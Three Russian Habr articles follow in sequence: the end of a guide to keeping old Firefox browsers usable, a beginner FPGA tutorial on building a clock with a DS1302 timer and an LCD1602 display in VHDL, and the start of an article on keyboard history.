Для Firefox 68. Если необходимо сделать постоянный показ мобильных версий лишь для определённых сайтов, либо заставить думать сайт, что вы зашли с нового браузера, в *about:config* создаются строки, например: ***general.useragent.override.****youtube.com*, ***general.useragent.override.****habr.com* или другие. К создаваемому ***general.useragent.override.*** дописывается [доменное имя](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5_%D0%B8%D0%BC%D1%8F) сайта. Если вас полностью устроит мобильная версия всего интернета, и обратно не будете возвращаться на полные версии сайтов для ПК, можете не создавать для каждого сайта свой ***general.useragent.override.****сайт*, а просто создайте строку ***general.useragent.override*** без доменного имени в конце, и в её значение вставьте что-нибудь одно из ниже перечисленного. Для отдельных сайтов, которые вам необходимы с отображением в полной десктопной версии, нужно будет создать ***general.useragent.override.****сайт* со значением *Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0* или же, если внизу страницы есть соответствующая ссылка, нажать на "*Полная версия сайта*" (иногда пишут "*Десктопная*"). ![image](https://habrastorage.org/r/w780q1/webt/5w/sw/k2/5wswk2eai22qzlzwlkb2yfvb-3k.jpeg) Для Firefox 78+. В Firefox 69+ была убрана возможность создавать параметры ***general.useragent.override.****сайт*. Теперь можно создать только глобальный параметр строку для всех сайтов ***general.useragent.override*** без доменного имени в конце. В значение вписывается что-нибудь одно из этого: Как будто у вас новая версия Firefox: ***Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0*** Что бы сайт думал, что вы заходите с мобильного устройства: ***Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-A500FU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.3 Chrome/38.0.2125.102*** ***Mozilla/5.0 (iPad; CPU OS 6\_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25*** ***Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36*** ***Mozilla/5.0 (iPhone; CPU iPhone OS 11\_0\_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1*** ***Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; WebView/2.0; rv:11.0; IEMobile/11.0; NOKIA; Lumia 525) like Gecko*** ### Неправильное отображение современных сайтов Ошибки могут проявляться по разному. Например: не прорисовывается часть страницы или вообще вся страница целиком, отдельные элементы страницы расположены не на своих местах, не нажимаются кнопки или не заполняются формы ввода. Существует несколько способов решения этих проблем **Список готовых решений для некоторых сайтов** Прежде чем прибегать к радикальным действиям, в некоторых ситуациях можно попытаться обойти возникшие проблемы. Например с использованием специальных клавиш на клавиатуре когда определённые элементы веб-страницы не реагируют на курсор мыши или на нажатия её кнопок. Можно использовать следующие клавиши: **Tab** — выделение и переключение на следующий элемент веб-страницы **Enter** — активация или запуск выделенного элемента **← → ↑ ↓** — кнопки перемещения **PageUp** и **PageDown** — прокрутка страницы вверх и вниз **Home** и **End** — прокрутка в начало и конец страницы В [этом](https://dl.dropboxusercontent.com/s/0o1jsy7bsz330hl/pmfix.html) html файле находится перечень некоторых сайтов которые некорректно отображаются в старых браузерах и готовые способы исправлений для них. При желании вы можете [сами](https://dl.dropboxusercontent.com/s/k3ypa618arrbg2l/%D0%9F%D1%80%D0%BE%D1%87%D1%82%D0%B8.txt) дополнить или подкорректировать этот html файл. **Подменить User-agent браузера** Суть этого способа заключается в том, что бы сайт загрузился в той версии оформления которую может правильно показать ваш браузер. Некоторые примеры приводились ранее в этой же статье, например в *Проигрывание видео --> Плагины и Расширения --> Вид мобильной или планшетной версии YouTube или YouTube с интерфейсом для телевизоров и ТВ-боксов*. Для определённых типов устройств с которых заходят просматривать YouTube, у YouTube есть свои версии оформления сайта. Примерно также поступают и на других сайтах, но не всегда. Перед тем как читать дальше, обязательно посмотрите главу *Блокировка рекламы и не нужных элементов на веб-странице --> **Просмотр мобильной версии сайта и что делать если на сайт не пускают***. Различные ситуации: **1.** Когда разработчик сайта что-то не правильно настроил у себя на сервере. Сайт может правильно отображаться и в обычной версии, но только если ваш браузер будет с юзер-агентом от современного браузера, например ***Mozilla/5.0 (Windows NT 10.0; WOW64; rv:87.0) Gecko/20100101 Firefox/87.0*** или ***Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.1270.5 Safari/537.36*** **2.** Сайт имеет несколько версий оформления. Установите какое-нибудь расширение, которое позволяет изменять юзер-агент в браузере, например [User-Agent Switcher and Manager](https://addons.mozilla.org/ru/firefox/addon/user-agent-string-switcher/) или любое другое аналогичное. Перебирая разные юзер-агенты попробуйте найти тот с которым сайт будет отображаться корректно. **Замена отдельных элементов страницы** Веб-страница состоит из множества различных элементов собранных вместе. Их можно удалить или заменить с помощь расширений или пользовательских скриптов. Тем самым изменить облик оформления страницы. Например блокировщик рекламы uBlock убирает картинки рекламы и затем автоматически подтягивает другие полезные элементы страницы на это место заполняя пустоту. Он не добавляет свои элементы на страницу, а только убирает лишнее. Есть расширения или скрипты которые заменяют или добавляют на страницу свой дополнительный функционал (кнопки, менюшки и пр.) которого нет изначально на сайте. Стили оформления можно попытаться найти на [openuserjs.org](https://openuserjs.org/), [greasyfork.org/ru](https://greasyfork.org/ru/), [userstyles.org](https://userstyles.org/), [addons.mozilla.org](https://addons.mozilla.org/), либо попросить знающего программиста написать пользовательский скрипт для вашего проблемного сайта. Для установки скриптов в браузер необходимо в начале поставить расширение [Greasemonkey](https://addons.mozilla.org/ru/firefox/addon/greasemonkey/), [Violentmonkey](https://addons.mozilla.org/ru/firefox/addon/violentmonkey/) или [Tampermonkey](https://addons.mozilla.org/ru/firefox/addon/tampermonkey/). **Старые версии сайтов** [Архив Интернета](https://ru.wikipedia.org/wiki/%D0%90%D1%80%D1%85%D0%B8%D0%B2_%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82%D0%B0) позволит вам просмотреть веб-страницы опубликованные несколько лет назад, в том оформлении которое поддерживает ваш браузер. А в некоторых случаях возможно даже скачать старые файлы если веб-архив их сохранил. Поиск нужной веб-страницы следует начинать с [web.archive.org](https://web.archive.org/) В поисковое поле вставьте ссылку или впишите адрес сайта. В результатах выдачи вверху будет отображаться лента по годам, а ниже календарь по месяцам и дням. В дни отмеченные кружками веб-архив сохранял копию страниц сайта, которые можно просмотреть. Существует множество расширений для удобного взаимодействия с сайтом веб-архива. Например достаточно популярное [Web Archives](https://addons.mozilla.org/ru/firefox/addon/view-page-archive/). Или же можете просто поместить закладку-ярлык Веб-архива вверху на панели инструментов браузера (смотри выше *«Дополнения в браузер --> Проигрывание видео --> Плагины и Расширения --> Интернет телевидение и радио --> Просмотр телеканалов --> Как сделать кнопку-закладку на панели инструментов»*). Расширение [SingleFile](https://addons.mozilla.org/ru/firefox/addon/single-file/) умеет сохранять на компьютере открытую веб-страницу одним html файлом. В его настройках можно отключить сохранение скриптов, видео, аудио, скрытых элементов и прочего. Страницы сохранённые таким способом будут всегда корректно отображаться как в старых так и новых браузерах. **Отрисовка веб-страницы на другом компьютере** Смысл этого способа заключается в том, что браузер отображает передаваемую в него картику (скриншот) с другого компьютера, а не взаимодействует на прямую с написанным кодом веб-страницы. Существует такая программа [WRP — Web Rendering Proxy](https://github.com/tenox7/wrp). Она ставится на современный компьютер с установленным браузером Chrome, который должен находится в одной локальной сети со старым компьютером, либо подобный компьютер (сервис) должен быть доступен из сети интернет. В старом браузере на другом компьютере, в адресной строке пишется IP:8080. Где IP — это IP адрес компьютера-сервера где установлена и запущена программа. Если всё сделано правильно, после ввода IP:8080 на веб-странице отобразится поле ввода URL и кнопки параметров отображения страницы (высота, ширина, цвета и пр.). Курсор мыши может взаимодействовать с элементами оригинальной веб-страницы (отслеживаются координаты расположения стрелки на картинке), то есть по отображаемым элементам на картинке можно кликать. В интернете есть бесплатные сайты-сервисы, которые могут делать снимок веб-страницы. Но большинство из них хитрят, взаимодействуя с браузером пользователя. То есть, что старый браузер пользователя нарисует, то сервер «сфотографирует». Однако существуют подобные сайты где страница обрабатывается непосредственно на сервере и скриншот делается там же, пользователь получает картинку созданную с современного браузера. Например один из таких сайтов [www.s-shot.ru](http://www.s-shot.ru) Можете создать в браузере ярлык/закладку подобного сайта, на тот случай, если какие-либо страницы будут отображаться не правильно. **Если сайты или часть их содержимого недоступны из вашего региона** В редких случаях, например при неправильной настройке сайта или «ковровой» блокировке диапазонов IP адресов провайдером, отображаемый контент может не загружаться, либо на веб-странице будет написано предупреждение о его блокировке/недоступности. Есть несколько способов как решить эту проблему. Суть их одна — сайт или оборудование провайдера через которое вы выходите в интернет должно думать, что ваш интернет-трафик проходит по незапрещённым маршрутам. Использование прокси-сервера Данный метод предполагает, что весь трафик который использует браузер проходит через другой компьютер. Сайт видет не вас, а только прокси-сервер через который на него зашли. А оборудование провайдера может отследить только обмен данными между вашим компьютером и прокси-сервером. Если использование прокси-сервера будет не на постоянной основе, его анонимность, доступность и скорость для вас не критичны, можете использовать бесплатные сервисы которые предлагают эту услугу. Что бы их найти, вставьте в поисковый запрос «Бесплатные прокси». Большое количество сайтов предлагают свои списки бесплатных прокси. В списках указывается тип прокси-сервера, страна расположения, IP и порт подключения. Для работы браузера через прокси-сервер, в основных настройках браузера ( *about:preferences* ) в самом низу, там где "*Параметры сети*" нажмите кнопку **Настроить...**. В окне "*Параметры соединения*" установите точку на **Ручная настройка прокси** и галку на **Использовать этот прокси-сервер для всех протоколов**. В поле "HTTP прокси:" вставьте скопированный IP-адрес прокси-сервера. В поле "Порт:" впишите номер его порта. После нажатия кнопки «ОК», браузер сразу без перезапуска будет пытаться соедениться и работать через выбранный прокси-сервер. С помощью расширений в браузере По своей сути расширения работают как по выше описанному примеру использования прокси-сервера, только подключение компьютера пользователя происходит к разным серверам, с разными IP адресами. Такая виртуальная сеть (VPN) более отказоустойчивая. **Альтернативные браузеры и ОС** Желательно иметь в запасе несколько браузеров. Например, что не откроет Firefox, скорее всего откроет Chromium или любой другой до сих пор поддерживаемый разработчиками браузер, даже если он будет немного медленнее работать. Ещё один вариант — параллельное использование нескольких операционных систем. Например Windows 7 или 10 позволяет установить любые версии браузеров Firefox если в компьютере установлен процессор с поддержкой SSE2 инструкций. Более подробное описание настройки Firefox в Windows 7 можете посмотреть в статье [Старый компьютер, Windows 7, 1 Гб оперативки, Firefox и интернет](https://habr.com/ru/post/424019/) Вторую операционную систему желательно устанавливать на отдельный жёсткий диск. При этом перед установкой новой операционной системы крайне желательно отключить физически или в настройках BIOS жёсткий диск на который установлена ваша ОС. Сделать это необходимо для того, что бы во время установки новая операционная система не переписала старый загрузчик вашей ОС, и в будущем если возникнут проблемы с одной из операционных систем, эти проблемы не коснулись другой операционной системы. То есть, для каждой операционнной системы будет свой жёсткий диск со своим загрузчиком. Выбор операционной системы в начале загрузки компьютера осуществляется, как правило, клавишей F9 (в меню будет предложено выбрать устройство или жёсткий диск с которого компьютер попытается загрузиться в первую очередь). После установки другой операционной системы, желательно в настройках вашей ОС отключить диск на котором установлена другая операционная система. Соответственно затем в настройках другой ОС отключите диск/раздел с Linux. P.S. Ну и под конец, из любопытства решил сделать такой вот опрос. Надеюсь его результаты будут интересны не только мне.
https://habr.com/ru/post/459880/
null
ru
null
# «Глупые» часы на FPGA Привет всем! Решил написать очередную статью, которая была бы полезна начинающим разработчикам в области ПЛИСоводства. Очень долго откладывал момент публикации, сам материал подготовил еще несколько месяцев назад, а вот сесть и написать всё это в целую статью как-то не доходили руки. Но вот наконец-то появилось свободное время, поэтому всех заинтересовавшихся приглашаю к прочтению. ![](https://habrastorage.org/r/w780q1/files/246/d07/562/246d075621254b858cf6c34c054bc84d.jpg) Проект называется «глупые часы», поскольку он ничего не умеет, кроме как считать время и дату и выводить их на дисплей. В первую очередь проект рассчитан на студентов старших курсов и новичков. В нём нет никаких необычных блоков, не используются вендорные IP-ядра, и уж тем более нет сложных интерфейсов обмена (типа PCIe, Ethernet, USB и т.д.). В этот раз проект на программируемых логических интегральных схемах (ПЛИС) будет примитивен и предельно прост, а я постараюсь рассказать обо всех трудностях, с которыми пришлось столкнуться при выполнении поставленной задачи. ### Исходные данные Отладочная плата: все тот же небольшой и простенький девкит на базе ПЛИС Spartan3E. Его характеристики: **Основные особенности:** * FPGA Spartan3E (**XC3S500E-4PQ208C**) — 500К логических вентилей, * Источник тактовой частоты CLK = 50 MHz, * Внешняя память 64M SDRAM, * SPI Flash (M25P80) для хранения прошивки ПЛИС, * Матрица светодиодов 8х8, линейка светодиодов 8 шт., * 8 переключателей и 5 кнопок, * Разъемы для подключения LED-дисплеев, * Разъем VGA для подключения дисплея, * **Таймер DS1302**, * **Дисплей LCD1602**, * Разъемы PS/2, и т. д. Из этого списка нам потребуется непосредственно сама FPGA, которая будет всем этим делом управлять. Также необходимы два устройства (микросхема DS1302 и дисплей LCD1602) и несколько триггеров-переключателей. [DS1302](http://datasheets.maximintegrated.com/en/ds/DS1302.pdf) — таймер с последовательным интерфейсом передачи (произв. Maxim Integrated), [LCD1602](http://www.elecrow.com/download/LCD1602.pdf) — ЖК дисплей с возможностью вывода двух строк по 16 символов (произв. Noname). Ниже приведена структурная схема соединений: ![](https://habrastorage.org/r/w1560/files/8e2/692/85a/8e269285a1e24aa88b277e307e4df620.png) Перейдем к описанию используемых микросхем. ### Таймер DS1302 представляет собой небольшую микросхему, использующую для обмена данными три линии, которые образуют последовательный интерфейс. * **CE** — clock enable, разрешает тактирование по линии SCLK. * **SCLK** — тактовый сигнал (максимальная частота работы = 2 МГц). * **I/O** — порт ввода/вывода, по которому в последовательном виде передаются данные и команды. Главная особенность микросхемы заключается в том, что ход времени не прекращается, даже если ПЛИС и дисплей отключить от питания. Таймер позволяет считать секунды, минуты, часы, дни недели, числа, месяцы, а также годы, то есть полный набор «часов». ![](https://habrastorage.org/r/w1560/files/98d/63c/bfb/98d63cbfb4be4f069d47e04cfc2900d0.png) Также микросхема хранит последние «прошитые» значения времени и даты. Но сама по себе микросхема «глупая», то есть ей необходимо задать все параметры, включая день недели. Внутри таймера находится счетчик, который правильным образом инкрементирует значения времени и даты, если в микросхему все было прошито должным образом. К микросхеме извне подключен кварцевый генератор, настроенный на частоту f = 32.768 kHz. На следующем рисунке приведен интерфейс обмена данными в режиме чтения и записи: ![](https://habrastorage.org/r/w1560/files/d33/c46/0ef/d33c460efce1483ab6082dc1335cf548.png) **Как это работает?** a) Для того, чтобы записать или считать из таймера какое-либо значение, необходимо в момент передачи выставить на вход CE высокий уровень (логическая 1), b) В зависимости от операции чтения или записи, при высоком уровне CE необходимо подать 15 или 16 тактовых импульсов, соответственно. Операция записи данных со входа I/O происходит по нарастающему фронту тактового сигнала SCLK, а операция чтения данных происходит по спадающему фронту сигнала SCLK. Данные передаются в порядке от младшего бита к старшему. c) Первый байт в процессе передачи — всегда служебный и всегда «записывается» в таймер. Это означает, что он выбирает тип и направление переданной команды. Нулевой бит R/W отвечает за тип операции: «чтение» — при высоком уровне, «запись» — при низком уровне сигнала. Битовое поле с 1 до 5 задает адрес команды или внутренней памяти таймера. Шестой бит определяет работу с регистрами таймера или внутренней памятью: «память» — при высоком логическом уровне, «таймер» — при низком логическом уровне. Седьмой бит всегда должен быть установлен в 1 (если случайным образом седьмой бит оказался равен 0, то таймер не отреагирует на команду). d) Второй байт — данные, записываемые в таймер или считываемые из него. На следующем рисунке приведена таблица команд таймера: ![](https://habrastorage.org/r/w1560/files/79d/fde/9ea/79dfde9ea9ca4d0eb94473579304a895.png) **Как работать с таблицей?** Из таблицы видно, что таймер обрабатывает данные в [двоично-десятичном формате (BCD)](https://en.wikipedia.org/wiki/Binary-coded_decimal). В связи с этим в дальнейшем на ПЛИС придется написать преобразователь данных из двоичного формата в двоично-десятичный. **Пример:** чтобы считать из таймера значение секунд, необходимо сформировать командный байт 0x81. Чтобы записать значение минут, необходимо сформировать командный байт 0x82. При работе с микросхемой таймера есть небольшая тонкость, из-за которой я целый день убил на поиски проблем и даже пару раз переписал контроллер таймера на ПЛИС. Поэтому призываю всех — внимательнее читайте даташиты. :) Для записи даты и времени в микросхему необходимо в первую очередь «разрешить запись». Видите в таблице по адресам **0x8F** и **0x8E** бит **WP** (write protect)? По умолчанию — бит находится в 0, что означает запрет на любые операции записи. Следовательно, для записи в микросхему даты и времени необходимо в первую очередь перевести WP в состояние логической единицы. Делается это посылкой двух байт друг за другом (команда и данные): **0x8E 0x80**. После этого таймер станет послушным и разрешит писать в себя информацию. Также обратите внимание на 7 бит в регистре секунд — **CH** (clock halt). Таймер останавливается, если этот бит находится в высоком состоянии. Поэтому при первой записи в регистр секунд нужно обнулить самый старший бит. ### ЖК дисплей LCD1602 это обычный ЖК дисплей, позволяющий выводить две строки по 16 символов, использует параллельный интерфейс обмена. Интерфейс примитивен и прост. * **DB[7:0]** — параллельная шина команд/данных. * **RS** — register select, сигнал выбора: '0' — команды, '1' — данные. * **R/W** — направление передачи данных ('0' — запись / '1' — чтение). * **E** — enable, синхронизация, выставляется в логическую единицу в момент передачи по линии DB ![](https://habrastorage.org/r/w1560/files/2e1/e63/147/2e1e63147f464bfbaa332ff0806a8897.png) Я использовал дисплей в режиме записи, то есть порт R/W = 0 всегда. В связи несколько упрощается обмен данными, как и сам контроллер, реализуемый на ПЛИС. **Как работать с дисплеем?** Перед каждым первым выводом на дисплей необходимо произвести его инициализацию набором команд, которые приведены в даташите. Для моей реализации контроллера дисплея это был набор из четырех команд, выполняемых последовательно одна за другой при каждом запуске прошивки. На линию **DB** необходимо подать несколько байт инициализации: **0x00** (либо 0x01) — очищает дисплей. **0x38** — устанавливает количество линий и размер шрифта (мне нужно 2 линии по 16 символов с максимальным размером символов). **0x0C** — устанавливает курсор в положение on/off. («вкл.» в моем случае). **0x06** — устанавливает направление движения курсора и сдвиг по дисплею (вправо, т.е. инкремент счетчика сдвига). При этом сигналы **RS** и **R/W** должны быть в состоянии логического нуля. После процесса инициализации по линии DB по очереди передаются команды и данные. Команда определяет положение символа на дисплее, данные определяют символ из таблицы, приведенной ниже. ![](https://habrastorage.org/r/w1560/files/b08/bd8/ee7/b08bd8ee7e524f18b8fee459e9ecb828.png) Например, для записи символа "**Q**" необходимо записать по линии DB число 0x51. Таким образом, вся передача данных на дисплей сводится к выбору позиции и символа. ### Проект на ПЛИС Перейдем к реализации проекта на ПЛИС. Язык программирования, используемый в проекте — VHDL. Отличается от остальных своей простотой и в то же время громоздкостью конструкций. Для того, чтобы часы начали тикать, а дисплей отображать дату и время нужно сделать несколько действий, которые, в принципе, делаются для каждого проекта на ПЛИС. Требуется: * два независимых контроллера — для DS1302 и для LCD1602. * две тестовые связки — для установки начального времени и для инициализации дисплея. * файл верхнего уровня (top level), связывающий все это вместе. * файл распиновки выводов ПЛИС (UCF файл). **UCF** Начнем с простого. Определим пины, которые будут использоваться в проекте. ``` ## CLK 50 MHz NET "CLK" LOC = "P183" | IOSTANDARD = LVCMOS33 ; ## Switches NET "RESET" LOC = "P148" | IOSTANDARD = LVTTL | PULLUP ; ## SW<0> NET "START" LOC = "P130" | IOSTANDARD = LVTTL | PULLUP ; ## SW<3> NET "RESTART" LOC = "P124" | IOSTANDARD = LVTTL | PULLUP ; ## SW<4> NET "TEST_LCD" LOC = "P118" | IOSTANDARD = LVTTL | PULLUP ; ## SW<5> ## LCD ports NET "LCD_RS" LOC = "P77" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_RW" LOC = "P68" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_EN" LOC = "P65" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<0>" LOC = "P49" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<1>" LOC = "P48" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<2>" LOC = "P40" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<3>" LOC = "P50" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<4>" LOC = "P62" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<5>" LOC = "P98" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<6>" LOC = "P64" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; NET "LCD_DT<7>" LOC = "P63" | IOSTANDARD = LVTTL | DRIVE = 8 | SLEW = FAST ; # SERIAL PORTS VIA HEADEX NET "T_CE" LOC = "P147" | IOSTANDARD = LVTTL | SLEW = SLOW | DRIVE = 8 ; NET "T_CK" LOC = "P146" | IOSTANDARD = LVTTL | SLEW = SLOW | DRIVE = 8 ; NET "T_DT" LOC = "P145" | IOSTANDARD = LVTTL | SLEW = SLOW | DRIVE = 8 ; ``` В UCF файле задается название порта, используемое в файле верхнего уровня, пин, к которому он подключен, а также остальные параметры (электрический тип, уровень тока, скорость драйвера, подтяжка и т.д.). Выше были описаны сигналы для подключения к таймеру и ЖК дисплею, поэтому приведу описание недостающих портов, подключенных к переключателям. * **RESET** — '0' — глобальный сброс ПЛИС. * **START** — '1' — старт для ЖК дисплея (запускает инициализацию и процесс передачи данных). * **RESTART** — '0' — перезапуск таймера (переводит дату и время в состояние, определенное в памяти ПЛИС). * **TEST\_LCD** — порт для тестовых целей, '0' — выводит данные с таймера, '1' выводит статическое сообщение («hello habr'). Второй подводный камень, с которым я столкнулся — разработчики девкита забыли подключить микросхему таймера к ПЛИС. Но, к счастью, они вывели сериальный интерфейс на штырьки, которые я соединил проводниками с другими штырями, подключенными непосредственно к ПЛИС. **HDL** Далее пишется контроллер таймера и контроллер дисплея. Приводить полный текст на VHDL здесь нет смысла, но расскажу о принципах обмена данными. При первичном запуске (когда все управляющие сигналы выставлены и снят reset) производится инициализация ЖК дисплея, а в таймер записываются константы даты и времени, определенные в файле верхнего уровня. Ниже представлен код функции преобразования данных из двоичного формата в двоично-десятичный: ``` ---------------- INTEGER TO STD_LOGIC_VECTOR TO BCD CONVERTER ---------------- constant n : integer:=8; constant q : integer:=2; function to_bcd ( bin : std_logic_vector((n-1) downto 0) ) return std_logic_vector is variable i : integer:=0; variable j : integer:=1; variable bcd : std_logic_vector(((4*q)-1) downto 0) := (others => '0'); variable bint : std_logic_vector((n-1) downto 0) := bin; begin for i in 0 to n-1 loop -- repeating 8 times. bcd(((4*q)-1) downto 1) := bcd(((4*q)-2) downto 0); --shifting the bits. bcd(0) := bint(n-1); bint((n-1) downto 1) := bint((n-2) downto 0); bint(0) :='0'; l1: for j in 1 to q loop if(i < n-1 and bcd(((4*j)-1) downto ((4*j)-4)) > "0100") then --add 3 if BCD digit is greater than 4. bcd(((4*j)-1) downto ((4*j)-4)) := bcd(((4*j)-1) downto ((4*j)-4)) + "0011"; end if; end loop l1; end loop; return bcd; end to_bcd; ``` На следующем рисунке приведены временные диаграммы, полученные в процессе отладки контроллера таймера. Жирными линиями выделен последовательный интерфейс передачи. Тройка линий data\_i, data\_o, data\_t подключаются к IOBUF порта ввода/вывода в файле верхнего уровня. ![](https://habrastorage.org/r/w1560/files/06c/168/184/06c1681849e546b0bfb5fb1c1e071c32.png) Внутри ПЛИС в бесконечном цикле начинает опрашивать регистры таймера, отвечающие за установку времени (0x80-0x8D). Опрос регистров производится по кругу, начиная с годов и заканчивая секундами. После каждого считывания из таймера, данные заносятся в регистры ПЛИС, носящие характерные названия (секундный, минутный и т.д.). После приема сигнала разрешения от контроллера ЖК дисплея, данные из контроллера таймера передаются в управляющий узел для контроллера дисплея. В зависимости от типа регистра таймера и его значения, данные преобразуются в необходимый для дисплея формат и задают необходимую позицию на дисплее путем выставления соответствующего адреса. Контроллер ЖК дисплея принимает данные с таймера и записывает их в двухпортовую 8х32 RAM-память в ПЛИС, выполненную на распределенной логике кристалла (ячейки SLICEM). Затем контроллер считывает всю информацию из памяти и тем самым обновляет символы на ЖК дисплее. Весь проект работает на относительно высокой частоте 50 МГц, поэтому никаких задержек при счёте секунд глазом увидеть нереально. На следующем рисунке приведено размещение проекта в кристалле ПЛИС. ![](https://habrastorage.org/r/w1560/files/0eb/edd/404/0ebedd40444d425780cfc2c52d6ff6e3.png) Зелеными линиями обозначены подключения портов ввода/вывода к внутренним ресурсам ПЛИС, Синяя область — область логических вентилей, красные прямоугольники — связка встроенных перемножителей 18х18 и блочной памяти RAMB16K, оранжевые квадраты — блоки синтеза тактовой частоты DCM (digital clocking manager). Прямоугольники, выделенные фиолетовым цветом — „p-block“, в границах которого разводится тот или иной компонент проекта при включенной опции „Keep Hierarchy“. Выделенные белым цветом области — ячейки контроллеров и тестовых модулей. Остальные p-блоки остались от [моего старого проекта на ПЛИС](http://geektimes.ru/post/254928/), их я решил не удалять (а вдруг кто захочет в сапёр поиграть?). ### Результат: Итак, в ходе работы была создана прошивка ПЛИС для связи таймера с ЖК дисплеем. С помощью САПР **Aldec Active-HDL** проводилось временное моделирование проекта, а также все написание кода и моделей. В среде **Xilinx ISE Design Suite** проходил синтез и трассировка проекта на FPGA Spartan3E. Также применялись вспомогательные средства: **PlanAhead** — используется для распиновки, расположения узлов проекта в кристалле и трассировки. **ChipScope Pro** — используется для отладки в реальном железе путем загрузки в ПЛИС специальных отладочных ядер. ![](https://habrastorage.org/r/w780q1/files/abc/21f/d4b/abc21fd4bae149a18d68cc0bd8ce4426.jpg) **Автоматическая документация проекта** Так получилось, что во время создания этого проекта, у нас на работе была предложена очередная попытка внедрения документации исходного кода. Одним из решений предлагалось использовать средство автоматической документации **Doxygen**. Мне очень нравится, как в этом приложении строятся графы иерархии. Для HDL-проектов это очень важный момент. На хабре [есть](http://habrahabr.ru/post/252101/) несколько [статей](http://habrahabr.ru/post/252443/), посвященных этому [инструменту](http://habrahabr.ru/post/253223/). В связке с **HTML Help Workshop** приложение Doxygen позволяет генерировать всего один файл документации в формате **CHM**. К сожалению, попытка внедрения провалилась, но опыт работы с инструментом остался. Поэтому для проекта „глупых“ часов на ПЛИС я решил воспользоваться автоматическим документированием. На гитхабе в папке с проектом лежит настроечный файл для **DoxyWizard** и результат его работы. Вот одна страница из того, что получилось в процессе документирования. ![](https://habrastorage.org/r/w1560/files/303/263/692/303263692d8c4efcad908499410e4785.png) **Еще разные картинки...****Схематический вид проекта:** ![](https://habrastorage.org/r/w1560/files/dca/0f1/eb7/dca0f1eb7caa4f4ea1984955c88fea2a.png) **Процесс отладки в ChipScope:** ![](https://habrastorage.org/r/w1560/files/cdd/77a/b4a/cdd77ab4ac2e4d6794b71010ae825b90.png) **Исходный код на github** — [LCD Timer on FPGA](https://github.com/capitanov/Stupid_watch). **Видео-демонстрация работоспособности проекта:** Не удивляйтесь дате, отображаемой на дисплее. Материал отснял и подготовил давно, а до статьи руки только сейчас дошли. Переснимать лениво… :) **Похожие проекты:** * Проект на базе [микроконтроллера AVR](http://www.avislab.com/blog/ds1302/). * Проект на базе [ардуино](http://kazus.ru/shemes/showpage/0/1206/1.html).
https://habr.com/ru/post/274843/
null
ru
null
# Почему я отказался от стандартной клавиатуры и никогда к ней не вернусь. Часть 1 (История клавиатуры) ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/f59/a29/a8c/f59a29a8c4a7d242fc054c8a0c1e3fd2.jpg)### Предисловие Сколько не совершенствуй свои клавиатурные навыки, не достигнешь значительного прогресса, используя стандартную клавиатуру. Она давно устарела, но большинство готово с этим мириться. *Привычка свыше нам дана: Замена счастию она.* За последние 30 лет из всех периферийных устройств персонального компьютера не изменилась только клавиатура. Причина этого не в её совершенстве, а в её сложности: к сложному долго привыкают, а привыкнув отвергают любые новшества. Отсутствие развития стандартной клавиатуры создает рамки, ограничивающие развитие современных интерфейсов и снижающие продуктивность опытных пользователей. Для того, чтобы понять, суть этой проблемы, достаточно разобраться в истории клавиатуры. ### История клавиатур для набора текста Первая клавиатура для набора и передачи информации (в составе [первого электромагнитного телеграфа](https://polymus.ru/ru/museum/fonds/stock/apparat-telegrafnyy-shillinga-elektromagnitnyy-shestimultiplikatornyy-117395/)) была изобретена в России другом А. С. Пушкина — Павлом Львовичем Шиллингом в 1832 году. ![Рисунок 1. Электромагнитный телеграф Шиллинга](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/821/bde/8cd/821bde8cd709e5a48fa4c545561f83dc.jpg "Рисунок 1. Электромагнитный телеграф Шиллинга")Рисунок 1. Электромагнитный телеграф ШиллингаКлавиатура состояла из 16 клавиш фортепьянного типа. К 1860-м годам буквопечатающие телеграфные аппараты с клавиатурой фортепьянного типа использовались во всех развитых странах. Телеграфисты стали первыми пользователями клавиатур. Однако, использование телеграфных аппаратов для простой печати текстов было сравнимо со стрельбой из пушки по воробьям. Поэтому параллельно изобретались прототипы недорогих пишущих машин для делового использования. Первые прототипы этих машин были ненадежны и сомнительны для инвесторов. В 1868 году американский изобретатель Кристофер Лэтем Шоулз запатентовал очередной прототип пишущей машины. Машина имела клавиатуру фортепианного типа ([патент US79868A](https://patents.google.com/patent/US79868A/)) и была с интересом воспринята телеграфистами. ![Рисунок 2. Сравнение размеров 12 клавиш фортепьяно и аккордеона (баяна)](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/c2c/325/781/c2c3257813392c5d4bc7a137044e7140.jpg "Рисунок 2. Сравнение размеров 12 клавиш фортепьяно и аккордеона (баяна)")Рисунок 2. Сравнение размеров 12 клавиш 